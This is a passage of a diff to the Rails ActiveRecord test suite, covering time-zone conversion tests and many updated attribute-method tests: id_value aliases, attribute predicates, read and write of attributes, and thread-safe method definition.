+          value = ActiveRecord::AttributeMethods::TimeZoneConversion::TimeZoneConverter.new(subtype)
+          value_from_cache = Marshal.load(Marshal.dump(value))
+
+          assert_equal value, value_from_cache
+          assert_not_equal value, "foo"
+        end
+
+        def test_time_attributes_with_fixed_date_normalization
+          old_time_zone = Time.zone
+
+          Time.zone = "Tokyo"
+
+          subtype = ActiveRecord::Type::Time.new
+          converter = ActiveRecord::AttributeMethods::TimeZoneConversion::TimeZoneConverter.new(subtype)
+
+          time_value = converter.cast("14:30")
+
+          assert_equal 2000, time_value.year
+          assert_equal 1, time_value.month
+          assert_equal 1, time_value.day
+          assert_equal 14, time_value.hour
+          assert_equal 30, time_value.min
+
+          time_value2 = converter.cast("14:30")
+
+          assert_equal time_value.year, time_value2.year
+          assert_equal time_value.month, time_value2.month
+          assert_equal time_value.day, time_value2.day
+        ensure
+          Time.zone = old_time_zone
+        end
+
+        def test_time_attribute_dirty_tracking_with_fixed_date
+          old_time_zone = Time.zone
+          old_default_timezone = ActiveRecord.default_timezone
+
+          Time.zone = "Tokyo"
+          ActiveRecord.default_timezone = :utc
+
+          timezone_aware_topic = Class.new(ActiveRecord::Base) do
+            self.table_name = "topics"
+            self.time_zone_aware_attributes = true
+            self.time_zone_aware_types = [:datetime, :time]
+            attribute :bonus_time, :time
+          end
+
+          topic = timezone_aware_topic.create!(bonus_time: "08:00")
+          topic.reload
+          topic.bonus_time = "08:00"
+          assert_not_predicate topic, :bonus_time_changed?
+        ensure
+          Time.zone = old_time_zone
+          ActiveRecord.default_timezone = old_default_timezone
+        end
+      end
+    end
+  end
+end
diff --git a/activerecord/test/cases/attribute_methods_test.rb b/activerecord/test/cases/attribute_methods_test.rb
index 3dc0c0ce53a3e..96b924e4f0793 100644
--- a/activerecord/test/cases/attribute_methods_test.rb
+++ b/activerecord/test/cases/attribute_methods_test.rb
@@ -1,7 +1,10 @@
+# frozen_string_literal: true
+
 require "cases/helper"
 require "models/minimalistic"
 require "models/developer"
 require "models/auto_id"
+require "models/author"
 require "models/boolean"
 require "models/computer"
 require "models/topic"
@@ -10,21 +13,98 @@
 require "models/reply"
 require "models/contact"
 require "models/keyboard"
+require "models/numeric_data"
+require "models/cpk"
+require "models/book_identifier"
 
 class AttributeMethodsTest < ActiveRecord::TestCase
   include InTimeZone
 
-  fixtures :topics, :developers, :companies, :computers
+  class EpochTimestamp < ActiveRecord::Type::DateTime
+    def deserialize(time_or_int)
+      Time.at(time_or_int).utc if time_or_int
+    end
+
+    def serialize(time)
+      time.to_i if time
+    end
+  end
+
+  ActiveRecord::Type.register(:epoch_timestamp, EpochTimestamp)
+
+  fixtures :topics, :developers, :companies, :computers, :book_identifiers
 
   def setup
-    @old_matchers = ActiveRecord::Base.send(:attribute_method_matchers).dup
+    @old_matchers = ActiveRecord::Base.send(:attribute_method_patterns).dup
     @target = Class.new(ActiveRecord::Base)
     @target.table_name = "topics"
   end
 
   teardown do
-    ActiveRecord::Base.send(:attribute_method_matchers).clear
-    ActiveRecord::Base.send(:attribute_method_matchers).concat(@old_matchers)
+    ActiveRecord::Base.send(:attribute_method_patterns).clear
+    ActiveRecord::Base.send(:attribute_method_patterns).concat(@old_matchers)
+  end
+
+  test "#id_value alias is defined if id column exist" do
+    new_topic_model = Class.new(ActiveRecord::Base) do
+      self.table_name = "topics"
+    end
+
+    new_topic_model.define_attribute_methods
+    assert_includes new_topic_model.attribute_names, "id"
+    assert_includes new_topic_model.attribute_aliases, "id_value"
+  end
+
+  test "#id_value alias is not defined if id_value column exist" do
+    new_book_identifier_model = Class.new(ActiveRecord::Base) do
+      self.table_name = "book_identifiers"
+    end
+
+    new_book_identifier_model.define_attribute_methods
+    assert_includes new_book_identifier_model.attribute_names, "id"
+    assert_includes new_book_identifier_model.attribute_names, "id_value"
+    assert_empty new_book_identifier_model.attribute_aliases
+  end
+
+  test "aliasing `id` attribute allows reading the column value" do
+    topic = Topic.create(id: 123_456, title: "title").becomes(TitlePrimaryKeyTopic)
+
+    assert_equal(123_456, topic.id_value)
+  end
+
+  test "aliasing `id` attribute allows reading the column value for a CPK model" do
+    order = ::Cpk::Order.create(id: [1, 123_456])
+
+    assert_not_nil(order.id_value)
+    assert_equal(123_456, order.id_value)
+  end
+
+  test "#id_value alias returns the value in the id column, when id column exists" do
+    topic = Topic.new
+    assert_nil topic.id_value
+
+    topic = Topic.find(1)
+    assert_equal 1, topic.id_value
+  end
+
+  test "#id_value returns the value in the id_value column, when id_value column exists" do
+    book_identifier = BookIdentifier.new
+    assert_nil book_identifier.id_value
+
+    book_identifier = BookIdentifier.find(1)
+    assert_equal book_identifiers(:awdr_isbn13).id_value, book_identifier.id_value
+  end
+
+  test "#id_value alias is not defined if id column doesn't exist" do
+    keyboard = Keyboard.create!
+
+    assert_empty keyboard.attribute_aliases
+  end
+
+  test "#id_value alias returns id column only for composite primary key models" do
+    order = ::Cpk::Order.create(id: [1, 2])
+
+    assert_equal 2, order.id_value
   end
 
   test "attribute_for_inspect with a string" do
@@ -32,19 +112,19 @@ def setup
     t.title = "The First Topic Now Has A Title With\nNewlines And More Than 50 Characters"
 
     assert_equal '"The First Topic Now Has A Title With\nNewlines And ..."', t.attribute_for_inspect(:title)
+    assert_equal '"The First Topic Now Has A Title With\nNewlines And ..."', t.attribute_for_inspect(:heading)
   end
 
   test "attribute_for_inspect with a date" do
     t = topics(:first)
 
-    assert_equal %("#{t.written_on.to_s(:db)}"), t.attribute_for_inspect(:written_on)
+    assert_equal %("#{t.written_on.to_fs(:inspect)}"), t.attribute_for_inspect(:written_on)
   end
 
   test "attribute_for_inspect with an array" do
     t = topics(:first)
-    t.content = [Object.new]
-
-    assert_match %r(\[#<Object:0x[0-9a-f]+>\]), t.attribute_for_inspect(:content)
+    t.content = ["some_value"]
+    assert_match %r(\["some_value"\]), t.attribute_for_inspect(:content)
   end
 
   test "attribute_for_inspect with a long array" do
@@ -54,15 +134,23 @@ def setup
     assert_equal "[1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11]", t.attribute_for_inspect(:content)
   end
 
+  test "attribute_for_inspect with a non-primary key id attribute" do
+    t = topics(:first).becomes(TitlePrimaryKeyTopic)
+    t.title = "The First Topic Now Has A Title With\nNewlines And More Than 50 Characters"
+
+    assert_equal "1", t.attribute_for_inspect(:id)
+  end
+
   test "attribute_present" do
     t = Topic.new
     t.title = "hello there!"
     t.written_on = Time.now
     t.author_name = ""
     assert t.attribute_present?("title")
+    assert t.attribute_present?("heading")
     assert t.attribute_present?("written_on")
-    assert !t.attribute_present?("content")
-    assert !t.attribute_present?("author_name")
+    assert_not t.attribute_present?("content")
+    assert_not t.attribute_present?("author_name")
   end
 
   test "attribute_present with booleans" do
@@ -75,7 +163,7 @@ def setup
     assert b2.attribute_present?(:value)
 
     b3 = Boolean.new
-    assert !b3.attribute_present?(:value)
+    assert_not b3.attribute_present?(:value)
 
     b4 = Boolean.new
     b4.value = false
@@ -85,8 +173,10 @@ def setup
 
   test "caching a nil primary key" do
     klass = Class.new(Minimalistic)
-    assert_called(klass, :reset_primary_key, returns: nil) do
-      2.times { klass.primary_key }
+    klass.primary_key # warm once
+
+    assert_not_called(klass, :reset_primary_key) do
+      klass.primary_key
     end
   end
 
@@ -97,8 +187,8 @@ def setup
   end
 
   test "boolean attributes" do
-    assert !Topic.find(1).approved?
-    assert Topic.find(2).approved?
+    assert_not_predicate Topic.find(1), :approved?
+    assert_predicate Topic.find(2), :approved?
   end
 
   test "set attributes" do
@@ -140,16 +230,16 @@ def setup
     assert_respond_to topic, :title=
     assert_respond_to topic, "author_name"
     assert_respond_to topic, "attribute_names"
-    assert !topic.respond_to?("nothingness")
-    assert !topic.respond_to?(:nothingness)
+    assert_not_respond_to topic, "nothingness"
+    assert_not_respond_to topic, :nothingness
   end
 
   test "respond_to? with a custom primary key" do
     keyboard = Keyboard.create
     assert_not_nil keyboard.key_number
     assert_equal keyboard.key_number, keyboard.id
-    assert keyboard.respond_to?("key_number")
-    assert keyboard.respond_to?("id")
+    assert_respond_to keyboard, "key_number"
+    assert_respond_to keyboard, "id"
   end
 
   test "id_before_type_cast with a custom primary key" do
@@ -161,19 +251,6 @@ def setup
     assert_equal "10", keyboard.read_attribute_before_type_cast(:key_number)
   end
 
-  # Syck calls respond_to? before actually calling initialize.
-  test "respond_to? with an allocated object" do
-    klass = Class.new(ActiveRecord::Base) do
-      self.table_name = "topics"
-    end
-
-    topic = klass.allocate
-    assert !topic.respond_to?("nothingness")
-    assert !topic.respond_to?(:nothingness)
-    assert_respond_to topic, "title"
-    assert_respond_to topic, :title
-  end
-
   # IRB inspects the return value of MyModel.allocate.
   test "allocated objects can be inspected" do
     topic = Topic.allocate
@@ -195,15 +272,10 @@ def setup
     assert_equal category_attrs, category.attributes_before_type_cast
   end
 
-  if current_adapter?(:Mysql2Adapter)
+  if current_adapter?(:Mysql2Adapter, :TrilogyAdapter)
     test "read attributes_before_type_cast on a boolean" do
       bool = Boolean.create!("value" => false)
-      if RUBY_PLATFORM.include?("java")
-        # JRuby will return the value before typecast as string.
-        assert_equal "0", bool.reload.attributes_before_type_cast["value"]
-      else
-        assert_equal 0, bool.reload.attributes_before_type_cast["value"]
-      end
+      assert_equal 0, bool.reload.attributes_before_type_cast["value"]
     end
   end
 
@@ -222,7 +294,25 @@ def setup
     end
   end
 
-  test "read attributes_after_type_cast on a date" do
+  test "read_attribute_for_database" do
+    topic = Topic.new(content: ["ok"])
+    assert_equal "---\n- ok\n", topic.read_attribute_for_database("content")
+  end
+
+  test "read_attribute_for_database with aliased attribute" do
+    topic = Topic.new(title: "Hello")
+    assert_equal "Hello", topic.read_attribute_for_database(:heading)
+  end
+
+  test "attributes_for_database" do
+    topic = Topic.new
+    topic.content = { "one" => 1, "two" => 2 }
+
+    db_attributes = Topic.instantiate(topic.attributes_for_database).attributes
+    assert_equal topic.attributes, db_attributes
+  end
+
+  test "read attributes after type cast on a date" do
     tz = "Pacific Time (US & Canada)"
 
     in_time_zone tz do
@@ -272,10 +362,8 @@ def setup
   end
 
   test "case-sensitive attributes hash" do
-    # DB2 is not case-sensitive.
-    return true if current_adapter?(:DB2Adapter)
-
-    assert_equal @loaded_fixtures["computers"]["workstation"].to_hash, Computer.first.attributes
+    expected = ["created_at", "developer", "extendedWarranty", "id", "system", "timezone", "updated_at"]
+    assert_equal expected, Computer.first.attributes.keys.sort
   end
 
   test "attributes without primary key" do
@@ -288,14 +376,16 @@ def setup
   end
 
   test "hashes are not mangled" do
-    new_topic = { title: "New Topic" }
-    new_topic_values = { title: "AnotherTopic" }
+    new_topic = { "title" => "New Topic", "content" => { "key" => "First value" } }
+    new_topic_values = { "title" => "AnotherTopic", "content" => { "key" => "Second value" } }
 
     topic = Topic.new(new_topic)
-    assert_equal new_topic[:title], topic.title
+    assert_equal new_topic["title"], topic.title
+    assert_equal new_topic["content"], topic.content
 
     topic.attributes = new_topic_values
-    assert_equal new_topic_values[:title], topic.title
+    assert_equal new_topic_values["title"], topic.title
+    assert_equal new_topic_values["content"], topic.content
   end
 
   test "create through factory" do
@@ -306,13 +396,13 @@ def setup
 
   test "write_attribute" do
     topic = Topic.new
-    topic.send(:write_attribute, :title, "Still another topic")
+    topic.write_attribute :title, "Still another topic"
     assert_equal "Still another topic", topic.title
 
     topic[:title] = "Still another topic: part 2"
     assert_equal "Still another topic: part 2", topic.title
 
-    topic.send(:write_attribute, "title", "Still another topic: part 3")
+    topic.write_attribute "title", "Still another topic: part 3"
     assert_equal "Still another topic: part 3", topic.title
 
     topic["title"] = "Still another topic: part 4"
@@ -326,6 +416,24 @@ def setup
     assert_equal "New topic", topic.title
   end
 
+  test "write_attribute raises ActiveModel::MissingAttributeError when the attribute does not exist" do
+    topic = Topic.first
+    assert_raises(ActiveModel::MissingAttributeError) { topic.update_columns(no_column_exists: "Hello!") }
+    assert_raises(ActiveModel::UnknownAttributeError) { topic.update(no_column_exists: "Hello!") }
+    assert_raises(ActiveModel::MissingAttributeError) { topic[:no_column_exists] = "Hello!" }
+  end
+
+  test "write_attribute does not raise when the attribute isn't selected" do
+    topic = Topic.select(:id).first
+    assert_nothing_raised { topic[:title] = "Hello!" }
+  end
+
+  test "write_attribute allows writing to aliased attributes" do
+    topic = Topic.first
+    assert_nothing_raised { topic.update_columns(heading: "Hello!") }
+    assert_nothing_raised { topic.update(heading: "Hello!") }
+  end
+
   test "read_attribute" do
     topic = Topic.new
     topic.title = "Don't change the topic"
@@ -346,43 +454,44 @@ def setup
     assert_equal "Don't change the topic", topic[:heading]
   end
 
-  test "read_attribute raises ActiveModel::MissingAttributeError when the attribute does not exist" do
-    computer = Computer.select("id").first
-    assert_raises(ActiveModel::MissingAttributeError) { computer[:developer] }
-    assert_raises(ActiveModel::MissingAttributeError) { computer[:extendedWarranty] }
-    assert_raises(ActiveModel::MissingAttributeError) { computer[:no_column_exists] = "Hello!" }
-    assert_nothing_raised { computer[:developer] = "Hello!" }
+  test "read_attribute raises ActiveModel::MissingAttributeError when the attribute isn't selected" do
+    computer = Computer.select(:id, :extendedWarranty).first
+    assert_raises(ActiveModel::MissingAttributeError, match: /attribute 'developer' for Computer/) do
+      computer[:developer]
+    end
+    assert_nothing_raised { computer[:extendedWarranty] }
+    assert_nothing_raised { computer[:no_column_exists] }
   end
 
   test "read_attribute when false" do
     topic = topics(:first)
     topic.approved = false
-    assert !topic.approved?, "approved should be false"
+    assert_not topic.approved?, "approved should be false"
     topic.approved = "false"
-    assert !topic.approved?, "approved should be false"
+    assert_not topic.approved?, "approved should be false"
   end
 
   test "read_attribute when true" do
     topic = topics(:first)
     topic.approved = true
-    assert topic.approved?, "approved should be true"
+    assert_predicate topic, :approved?, "approved should be true"
     topic.approved = "true"
-    assert topic.approved?, "approved should be true"
+    assert_predicate topic, :approved?, "approved should be true"
   end
 
   test "boolean attributes writing and reading" do
     topic = Topic.new
     topic.approved = "false"
-    assert !topic.approved?, "approved should be false"
+    assert_not topic.approved?, "approved should be false"
 
     topic.approved = "false"
-    assert !topic.approved?, "approved should be false"
+    assert_not topic.approved?, "approved should be false"
 
     topic.approved = "true"
-    assert topic.approved?, "approved should be true"
+    assert_predicate topic, :approved?, "approved should be true"
 
     topic.approved = "true"
-    assert topic.approved?, "approved should be true"
+    assert_predicate topic, :approved?, "approved should be true"
   end
 
   test "overridden write_attribute" do
@@ -391,13 +500,13 @@ def topic.write_attribute(attr_name, value)
       super(attr_name, value.downcase)
     end
 
-    topic.send(:write_attribute, :title, "Yet another topic")
+    topic.write_attribute :title, "Yet another topic"
     assert_equal "yet another topic", topic.title
 
     topic[:title] = "Yet another topic: part 2"
     assert_equal "yet another topic: part 2", topic.title
 
-    topic.send(:write_attribute, "title", "Yet another topic: part 3")
+    topic.write_attribute "title", "Yet another topic: part 3"
     assert_equal "yet another topic: part 3", topic.title
 
     topic["title"] = "Yet another topic: part 4"
@@ -424,12 +533,26 @@ def topic.title() "b" end
     assert_equal "a", topic[:title]
   end
 
+  test "read overridden attribute with predicate respects override" do
+    topic = Topic.new
+
+    topic.approved = true
+
+    def topic.approved; false; end
+
+    assert_not topic.approved?, "overridden approved should be false"
+  end
+
   test "string attribute predicate" do
     [nil, "", " "].each do |value|
       assert_equal false, Topic.new(author_name: value).author_name?
     end
 
     assert_equal true, Topic.new(author_name: "Name").author_name?
+
+    ActiveModel::Type::Boolean::FALSE_VALUES.each do |value|
+      assert_predicate Topic.new(author_name: value), :author_name?
+    end
   end
 
   test "number attribute predicate" do
@@ -451,8 +574,71 @@ def topic.title() "b" end
     end
   end
 
+  test "user-defined text attribute predicate" do
+    klass = Class.new(ActiveRecord::Base) do
+      self.table_name = Topic.table_name
+
+      attribute :user_defined_text, :text
+    end
+
+    topic = klass.new(user_defined_text: "text")
+    assert_predicate topic, :user_defined_text?
+
+    ActiveModel::Type::Boolean::FALSE_VALUES.each do |value|
+      topic = klass.new(user_defined_text: value)
+      assert_predicate topic, :user_defined_text?
+    end
+  end
+
+  test "user-defined date attribute predicate" do
+    klass = Class.new(ActiveRecord::Base) do
+      self.table_name = Topic.table_name
+
+      attribute :user_defined_date, :date
+    end
+
+    topic = klass.new(user_defined_date: Date.current)
+    assert_predicate topic, :user_defined_date?
+  end
+
+  test "user-defined datetime attribute predicate" do
+    klass = Class.new(ActiveRecord::Base) do
+      self.table_name = Topic.table_name
+
+      attribute :user_defined_datetime, :datetime
+    end
+
+    topic = klass.new(user_defined_datetime: Time.current)
+    assert_predicate topic, :user_defined_datetime?
+  end
+
+  test "user-defined time attribute predicate" do
+    klass = Class.new(ActiveRecord::Base) do
+      self.table_name = Topic.table_name
+
+      attribute :user_defined_time, :time
+    end
+
+    topic = klass.new(user_defined_time: Time.current)
+    assert_predicate topic, :user_defined_time?
+  end
+
+  test "user-defined JSON attribute predicate" do
+    klass = Class.new(ActiveRecord::Base) do
+      self.table_name = Topic.table_name
+
+      attribute :user_defined_json, :json
+    end
+
+    topic = klass.new(user_defined_json: { key: "value" })
+    assert_predicate topic, :user_defined_json?
+
+    topic = klass.new(user_defined_json: {})
+    assert_not_predicate topic, :user_defined_json?
+  end
+
   test "custom field attribute predicate" do
-    object = Company.find_by_sql(<<-SQL).first
+    object = Company.find_by_sql(<<~SQL).first
       SELECT c1.*, c2.type as string_value, c2.rating as int_value
         FROM companies c1, companies c2
        WHERE c1.firm_id = c2.id
@@ -460,30 +646,30 @@ def topic.title() "b" end
     SQL
 
     assert_equal "Firm", object.string_value
-    assert object.string_value?
+    assert_predicate object, :string_value?
 
     object.string_value = "  "
-    assert !object.string_value?
+    assert_not_predicate object, :string_value?
 
     assert_equal 1, object.int_value.to_i
-    assert object.int_value?
+    assert_predicate object, :int_value?
 
     object.int_value = "0"
-    assert !object.int_value?
+    assert_not_predicate object, :int_value?
   end
 
   test "non-attribute read and write" do
     topic = Topic.new
-    assert !topic.respond_to?("mumbo")
+    assert_not_respond_to topic, "mumbo"
     assert_raise(NoMethodError) { topic.mumbo }
     assert_raise(NoMethodError) { topic.mumbo = 5 }
   end
 
   test "undeclared attribute method does not affect respond_to? and method_missing" do
     topic = @target.new(title: "Budget")
-    assert topic.respond_to?("title")
+    assert_respond_to topic, "title"
     assert_equal "Budget", topic.title
-    assert !topic.respond_to?("title_hello_world")
+    assert_not_respond_to topic, "title_hello_world"
     assert_raise(NoMethodError) { topic.title_hello_world }
   end
 
@@ -494,10 +680,10 @@ def topic.title() "b" end
       @target.attribute_method_prefix prefix
 
       meth = "#{prefix}title"
-      assert topic.respond_to?(meth)
-      assert_equal ["title"], topic.send(meth)
-      assert_equal ["title", "a"], topic.send(meth, "a")
-      assert_equal ["title", 1, 2, 3], topic.send(meth, 1, 2, 3)
+      assert_respond_to topic, meth
+      assert_equal ["title"], topic.public_send(meth)
+      assert_equal ["title", "a"], topic.public_send(meth, "a")
+      assert_equal ["title", 1, 2, 3], topic.public_send(meth, 1, 2, 3)
     end
   end
 
@@ -508,10 +694,10 @@ def topic.title() "b" end
       topic = @target.new(title: "Budget")
 
       meth = "title#{suffix}"
-      assert topic.respond_to?(meth)
-      assert_equal ["title"], topic.send(meth)
-      assert_equal ["title", "a"], topic.send(meth, "a")
-      assert_equal ["title", 1, 2, 3], topic.send(meth, 1, 2, 3)
+      assert_respond_to topic, meth
+      assert_equal ["title"], topic.public_send(meth)
+      assert_equal ["title", "a"], topic.public_send(meth, "a")
+      assert_equal ["title", 1, 2, 3], topic.public_send(meth, 1, 2, 3)
     end
   end
 
@@ -522,15 +708,15 @@ def topic.title() "b" end
       topic = @target.new(title: "Budget")
 
       meth = "#{prefix}title#{suffix}"
-      assert topic.respond_to?(meth)
-      assert_equal ["title"], topic.send(meth)
-      assert_equal ["title", "a"], topic.send(meth, "a")
-      assert_equal ["title", 1, 2, 3], topic.send(meth, 1, 2, 3)
+      assert_respond_to topic, meth
+      assert_equal ["title"], topic.public_send(meth)
+      assert_equal ["title", "a"], topic.public_send(meth, "a")
+      assert_equal ["title", 1, 2, 3], topic.public_send(meth, 1, 2, 3)
     end
   end
 
   test "should unserialize attributes for frozen records" do
-    myobj = { value1: :value2 }
+    myobj = { "value1" => "value2" }
     topic = Topic.create(content: myobj)
     topic.freeze
     assert_equal myobj, topic.content
@@ -538,28 +724,18 @@ def topic.title() "b" end
 
   test "typecast attribute from select to false" do
     Topic.create(title: "Budget")
-    # Oracle does not support boolean expressions in SELECT.
-    if current_adapter?(:OracleAdapter, :FbAdapter)
-      topic = Topic.all.merge!(select: "topics.*, 0 as is_test").first
-    else
-      topic = Topic.all.merge!(select: "topics.*, 1=2 as is_test").first
-    end
-    assert !topic.is_test?
+    topic = Topic.all.merge!(select: "topics.*, 1=2 as is_test").first
+    assert_not_predicate topic, :is_test?
   end
 
   test "typecast attribute from select to true" do
     Topic.create(title: "Budget")
-    # Oracle does not support boolean expressions in SELECT.
-    if current_adapter?(:OracleAdapter, :FbAdapter)
-      topic = Topic.all.merge!(select: "topics.*, 1 as is_test").first
-    else
-      topic = Topic.all.merge!(select: "topics.*, 2=2 as is_test").first
-    end
-    assert topic.is_test?
+    topic = Topic.all.merge!(select: "topics.*, 2=2 as is_test").first
+    assert_predicate topic, :is_test?
   end
 
-  test "raises ActiveRecord::DangerousAttributeError when defining an AR method in a model" do
-    %w(save create_or_update).each do |method|
+  test "raises ActiveRecord::DangerousAttributeError when defining an AR method or dangerous Object method in a model" do
+    %w(save create_or_update hash dup frozen?).each do |method|
       klass = Class.new(ActiveRecord::Base)
       klass.class_eval "def #{method}() 'defined #{method}' end"
       assert_raise ActiveRecord::DangerousAttributeError do
@@ -706,8 +882,13 @@ def topic.title() "b" end
     in_time_zone "Pacific Time (US & Canada)" do
       record = Topic.new(id: 1)
       record.written_on = "Jan 01 00:00:00 2014"
-      assert_equal record, YAML.load(YAML.dump(record))
+      payload = YAML.dump(record)
+      assert_equal record, YAML.respond_to?(:unsafe_load) ? YAML.unsafe_load(payload) : YAML.load(payload)
     end
+  ensure
+    # NOTE: Reset column info because global topics
+    # don't have tz-aware attributes by default.
+    Topic.reset_column_information
   end
 
   test "setting a time zone-aware time in the current time zone" do
@@ -739,6 +920,16 @@ def topic.title() "b" end
     end
   end
 
+  test "setting invalid string to a zone-aware time attribute" do
+    in_time_zone "Pacific Time (US & Canada)" do
+      record = @target.new
+      time_string = "ABC"
+
+      record.bonus_time = time_string
+      assert_nil record.bonus_time
+    end
+  end
+
   test "removing time zone-aware types" do
     with_time_zone_aware_types(:datetime) do
       in_time_zone "Pacific Time (US & Canada)" do
@@ -746,15 +937,73 @@ def topic.title() "b" end
         expected_time = Time.utc(2000, 01, 01, 10)
 
         assert_equal expected_time, record.bonus_time
-        assert record.bonus_time.utc?
+        assert_predicate record.bonus_time, :utc?
       end
     end
   end
 
   test "time zone-aware attributes do not recurse infinitely on invalid values" do
+    model = new_topic_like_ar_class { }
+
+    type = model.type_for_attribute(:bonus_time)
+    assert_kind_of ActiveRecord::Type::Time, type
+
+    invalid_time = []
+    record = model.new(bonus_time: invalid_time)
+    assert_equal invalid_time, record.bonus_time
+
+    invalid_time = Time.current.utc.to_i
+    record = model.new(bonus_time: invalid_time)
+    assert_equal invalid_time, record.bonus_time
+
     in_time_zone "Pacific Time (US & Canada)" do
-      record = @target.new(bonus_time: [])
-      assert_nil record.bonus_time
+      model = new_topic_like_ar_class { }
+
+      type = model.type_for_attribute(:bonus_time)
+      assert_kind_of ActiveRecord::AttributeMethods::TimeZoneConversion::TimeZoneConverter, type
+
+      invalid_time = []
+      record = model.new(bonus_time: invalid_time)
+      assert_equal invalid_time, record.bonus_time
+
+      invalid_time = Time.current.utc.to_i
+      record = model.new(bonus_time: invalid_time)
+      assert_equal invalid_time, record.bonus_time
+    end
+  end
+
+  test "time zone-aware custom attributes" do
+    timestamp = Time.current.utc.to_i
+
+    model = Class.new(ActiveRecord::Base)
+    model.table_name = "minimalistics"
+
+    model.attribute :expires_at, :epoch_timestamp
+
+    type = model.type_for_attribute(:expires_at)
+    assert_kind_of EpochTimestamp, type
+
+    record_1 = model.create!(expires_at: timestamp)
+    assert_equal timestamp, record_1.expires_at.to_i
+
+    model.insert!({ expires_at: timestamp })
+    record_2 = model.last
+    assert_not_equal record_1, record_2
+    assert_equal timestamp, record_2.expires_at.to_i
+
+    in_time_zone "Pacific Time (US & Canada)" do
+      model.attribute :expires_at, :epoch_timestamp
+
+      type = model.type_for_attribute(:expires_at)
+      assert_kind_of ActiveRecord::AttributeMethods::TimeZoneConversion::TimeZoneConverter, type
+
+      record_1 = model.create!(expires_at: timestamp)
+      assert_equal timestamp, record_1.expires_at.to_i
+
+      model.insert!({ expires_at: timestamp })
+      record_2 = model.last
+      assert_not_equal record_1, record_2
+      assert_equal timestamp, record_2.expires_at.to_i
     end
   end
 
@@ -770,7 +1019,7 @@ def topic.title() "b" end
     privatize("title")
 
     topic = @target.new(title: "The pros and cons of programming naked.")
-    assert !topic.respond_to?(:title)
+    assert_not_respond_to topic, :title
     exception = assert_raise(NoMethodError) { topic.title }
     assert_includes exception.message, "private method"
     assert_equal "I'm private", topic.send(:title)
@@ -780,7 +1029,7 @@ def topic.title() "b" end
     privatize("title=(value)")
 
     topic = @target.new
-    assert !topic.respond_to?(:title=)
+    assert_not_respond_to topic, :title=
     exception = assert_raise(NoMethodError) { topic.title = "Pants" }
     assert_includes exception.message, "private method"
     topic.send(:title=, "Very large pants")
@@ -790,7 +1039,7 @@ def topic.title() "b" end
     privatize("title?")
 
     topic = @target.new(title: "Isaac Newton's pants")
-    assert !topic.respond_to?(:title?)
+    assert_not_respond_to topic, :title?
     exception = assert_raise(NoMethodError) { topic.title? }
     assert_includes exception.message, "private method"
     assert topic.send(:title?)
@@ -809,7 +1058,7 @@ def topic.title() "b" end
     }
     assert_instance_of Topic, error.record
     assert_equal "hello", error.attribute
-    assert_equal "unknown attribute 'hello' for Topic.", error.message
+    assert_match "unknown attribute 'hello' for Topic.", error.message
   end
 
   test "method overrides in multi-level subclasses" do
@@ -830,7 +1079,7 @@ def name
       self.table_name = "computers"
     end
 
-    assert !klass.instance_method_already_implemented?(:system)
+    assert_not klass.instance_method_already_implemented?(:system)
     computer = klass.new
     assert_nil computer.system
   end
@@ -844,8 +1093,8 @@ def name
       self.table_name = "computers"
     end
 
-    assert !klass.instance_method_already_implemented?(:system)
-    assert !subklass.instance_method_already_implemented?(:system)
+    assert_not klass.instance_method_already_implemented?(:system)
+    assert_not subklass.instance_method_already_implemented?(:system)
     computer = subklass.new
     assert_nil computer.system
   end
@@ -866,6 +1115,127 @@ def name
     assert subklass.method_defined?(:id), "subklass is missing id method"
   end
 
+  test "#undefine_attribute_methods undefines alias attribute methods" do
+    topic_class = Class.new(ActiveRecord::Base) do
+      self.table_name = "topics"
+
+      alias_attribute :subject_to_be_undefined, :title
+    end
+
+    topic = topic_class.new(title: "New topic")
+    assert_equal("New topic", topic.subject_to_be_undefined)
+    assert_equal true, topic_class.method_defined?(:subject_to_be_undefined)
+    topic_class.undefine_attribute_methods
+    assert_equal false, topic_class.method_defined?(:subject_to_be_undefined)
+
+    topic.subject_to_be_undefined
+    assert_equal true, topic_class.method_defined?(:subject_to_be_undefined)
+
+    topic_class.undefine_attribute_methods
+    assert_equal true, topic.respond_to?(:subject_to_be_undefined)
+    assert_equal true, topic_class.method_defined?(:subject_to_be_undefined)
+  end
+
+  test "#define_attribute_methods brings back undefined aliases" do
+    topic_class = Class.new(ActiveRecord::Base) do
+      self.table_name = "topics"
+
+      alias_attribute :title_alias_to_be_undefined, :title
+    end
+
+    topic = topic_class.new(title: "New topic")
+    assert_equal("New topic", topic.title_alias_to_be_undefined)
+    topic_class.undefine_attribute_methods
+
+    assert_equal false, topic_class.method_defined?(:title_alias_to_be_undefined)
+
+    topic_class.define_attribute_methods
+
+    assert_equal true, topic_class.method_defined?(:title_alias_to_be_undefined)
+    assert_equal "New topic", topic.title_alias_to_be_undefined
+  end
+
+  test "#define_attribute_methods doesn't connect to the database when schema cache is present" do
+    with_temporary_connection_pool do
+      if in_memory_db?
+        # Separate connections to an in-memory database create an entirely new database,
+        # with an empty schema etc, so we just stub out this schema on the fly.
+        ActiveRecord::Base.connection_pool.with_connection do |connection|
+          connection.create_table :tasks do |t|
+            t.datetime :starting
+            t.datetime :ending
+          end
+        end
+      end
+
+      @target.table_name = "tasks"
+
+      @target.connection_pool.schema_cache.load!
+      @target.connection_pool.schema_cache.add("tasks")
+      @target.connection_pool.disconnect!
+
+      assert_no_queries(include_schema: true) do
+        @target.define_attribute_methods
+      end
+    end
+  end
+
+  test "define_attribute_method works with both symbol and string" do
+    klass = Class.new(ActiveRecord::Base)
+    klass.table_name = "foo"
+
+    assert_nothing_raised { klass.define_attribute_method(:foo) }
+    assert_nothing_raised { klass.define_attribute_method("bar") }
+  end
+
+  test "#method_missing define methods on the fly in a thread safe way" do
+    topic_class = Class.new(ActiveRecord::Base) do
+      self.table_name = "topics"
+    end
+
+    topic = topic_class.new(title: "New topic")
+    topic_class.undefine_attribute_methods
+    def topic.method_missing(...)
+      sleep 0.1 # required to cause a race condition
+      super
+    end
+
+    threads = 5.times.map do
+      Thread.new do
+        assert_equal "New topic", topic.title
+      end
+    end
+    threads.each(&:join)
+  ensure
+    threads&.each(&:kill)
+  end
+
+  test "#method_missing define methods on the fly in a thread safe way, even when decorated" do
+    topic_class = Class.new(ActiveRecord::Base) do
+      self.table_name = "topics"
+
+      def title
+        "title:#{super}"
+      end
+    end
+
+    topic = topic_class.new(title: "New topic")
+    topic_class.undefine_attribute_methods
+    def topic.method_missing(...)
+      sleep 0.1 # required to cause a race condition
+      super
+    end
+
+    threads = 5.times.map do
+      Thread.new do
+        assert_equal "title:New topic", topic.title
+      end
+    end
+    threads.each(&:join)
